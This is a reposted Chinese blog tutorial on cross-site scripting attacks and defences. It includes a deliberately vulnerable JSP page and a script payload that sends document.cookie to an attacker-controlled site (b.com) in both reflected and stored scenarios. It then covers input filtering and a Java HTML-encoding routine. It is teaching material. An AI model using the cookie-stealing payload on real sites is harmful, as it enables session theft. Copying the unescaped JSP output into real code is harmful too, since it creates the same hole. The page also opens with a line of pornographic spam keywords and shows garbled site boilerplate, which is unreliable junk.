日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS攻击与防御

發(fā)布時間:2024/2/28 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS攻击与防御 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.


原文地址:http://blog.csdn.net/ghsau/article/details/17027893
? ? ? ?XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬于被動式且用于客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入(傳入)惡意的HTML代碼,當(dāng)其它用戶瀏覽該網(wǎng)站時,這段HTML代碼會自動執(zhí)行,從而達(dá)到攻擊的目的。如,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其它網(wǎng)站等。

XSS攻擊

? ? ? ?XSS攻擊類似于SQL注入攻擊,攻擊之前,我們先找到一個存在XSS漏洞的網(wǎng)站,XSS漏洞分為兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入數(shù)據(jù)進(jìn)行處理的話,都會存在XSS漏洞,漏洞的危害取決于攻擊代碼的威力,攻擊代碼也不局限于script。

DOM Based XSS

? ? ? ?DOM Based XSS是一種基于網(wǎng)頁DOM結(jié)構(gòu)的攻擊,該攻擊特點是中招的人是少數(shù)人。

? ? ? ?場景一

? ? ? ?當(dāng)我登錄a.com后,我發(fā)現(xiàn)它的頁面某些內(nèi)容是根據(jù)url中的一個叫content參數(shù)直接顯示的,猜測它測頁面處理可能是這樣,其它語言類似:?

<%@ page language=“Java“?contentType=“text/html; charset=UTF-8”?pageEncoding=“UTF-8”%>

<!DOCTYPEhtmlPUBLIC“-//W3C//DTD HTML 4.01 Transitional//EN””http://www.w3.org/TR/html4/loose.dtd”>

<html>

??? <head>

?????? <title>XSS測試</title>

??? </head>

??? <body>

?????? 頁面內(nèi)容:<%=request.getParameter(“content”)%>

??? </body>

</html>

? ? ? 我知道了Tom也注冊了該網(wǎng)站,并且知道了他的郵箱(或者其它能接收信息的聯(lián)系方式),我做一個超鏈接發(fā)給他,超鏈接地址為:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,當(dāng)Tom點擊這個鏈接的時候(假設(shè)他已經(jīng)登錄a.com),瀏覽器就會直接打開b.com,并且把Tom在a.com中的cookie信息發(fā)送到b.com,b.com是我搭建的網(wǎng)站,當(dāng)我的網(wǎng)站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登錄密碼,攻擊成功!這個過程中,受害者只有Tom自己。那當(dāng)我在瀏覽器輸入a.com?content=<script>alert(“xss”)</script>,瀏覽器展示頁面內(nèi)容的過程中,就會執(zhí)行我的腳本,頁面輸出xss字樣,這是攻擊了我自己,那我如何攻擊別人并且獲利呢?

Stored XSS

? ? ? ?Stored XSS是存儲式XSS漏洞,由于其攻擊代碼已經(jīng)存儲到服務(wù)器上或者數(shù)據(jù)庫中,所以受害者是很多人。

? ? ? ?場景二

? ? ? ?a.com可以發(fā)文章,我登錄后在a.com中發(fā)布了一篇文章,文章中包含了惡意代碼,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。這時Tom和Jack看到了我發(fā)布的文章,當(dāng)在查看我的文章時就都中招了,他們的cookie信息都發(fā)送到了我的服務(wù)器上,攻擊成功!這個過程中,受害者是多個人。
? ? ? ?Stored XSS漏洞危害性更大,危害面更廣。

XSS防御

? ? ? ?我們是在一個矛盾的世界中,有矛就有盾。只要我們的代碼中不存在漏洞,攻擊者就無從下手,我們要做一個沒有縫的蛋。XSS防御有如下方式。

完善的過濾體系

? ? ? ?永遠(yuǎn)不相信用戶的輸入。需要對用戶的輸入進(jìn)行處理,只允許輸入合法的值,其它值一概過濾掉。

Html encode

? ? ? ?假如某些情況下,我們不能對用戶數(shù)據(jù)進(jìn)行嚴(yán)格的過濾,那我們也需要對標(biāo)簽進(jìn)行轉(zhuǎn)換。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (“)

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

? ? ??比如用戶輸入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最終存儲的會是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展現(xiàn)時瀏覽器會對這些字符轉(zhuǎn)換成文本內(nèi)容顯示,而不是一段可執(zhí)行的代碼。

其它

下面提供兩種Html encode的方法。
  • 使用Apache的commons-lang.jar

    StringEscapeUtils.escapeHtml(str);// 漢字會轉(zhuǎn)換成對應(yīng)的ASCII碼,空格不轉(zhuǎn)換

  • 自己實現(xiàn)轉(zhuǎn)換,只轉(zhuǎn)換部分字符

    private static String htmlEncode(char c) {

    ??? switch(c) {

    ?????? case ‘&’:

    ?????????? return?“&amp;”;

    ?????? case ‘<’:

    ?????????? return?“&lt;”;

    ?????? case ‘>’:

    ?????????? return?“&gt;”;

    ?????? case ‘”’:

    ?????????? return?“&quot;”;

    ?????? case ’ ‘:

    ?????????? return?“&nbsp;”;

    ?????? default:

    ?????????? return c +?“”;

    ??? }

    }

    ?

    /* 對傳入的字符串str進(jìn)行Html encode轉(zhuǎn)換 /

    public static String htmlEncode(String str) {

    ??? if?(str ==null || str.trim().equals(“”))???return str;

    ??? StringBuilder encodeStrBuilder = new StringBuilder();

    ??? for (int i = 0, len = str.length(); i < len; i++) {

    ?????? encodeStrBuilder.append(htmlEncode(str.charAt(i)));

    ??? }

    ??? return encodeStrBuilder.toString();

    }

? ? ? ?

確定網(wǎng)頁是否存在XSS漏洞的方法

在表格中輸入

<script>alert('xss')</script>

如果會彈出窗口,說明存在XSS漏洞

總結(jié)

以上是生活随笔為你收集整理的XSS攻击与防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。